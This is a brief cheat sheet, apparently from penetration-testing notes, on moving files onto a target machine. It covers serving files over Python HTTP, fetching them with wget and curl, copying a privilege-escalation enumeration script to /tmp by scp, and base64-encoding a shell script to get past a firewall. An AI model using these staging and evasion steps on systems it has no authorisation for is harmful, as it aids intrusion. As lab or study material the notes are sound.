File Server

python3 -m http.server 8000             # start a python file server on port 8000
wget http://10.10.10.10:8000/code.sh    # download the file using wget
curl http://10.10.10.10:8000/code.sh -o code.sh # download using curl

SCP

scp linenum.sh user@remotehost:/tmp/linenum.sh

Base64

In cases we are not able to transfer files (due to firewal).

We can encode file into base64, then copy and paste base64 string on the remote server then decode it.

base64 shell.sh -w 0

echo <encoded payload> | base64 -d > shell.sh

Validating File Transfer

file shell.sh    # show file information
md5sum shell.sh  # verify file hash
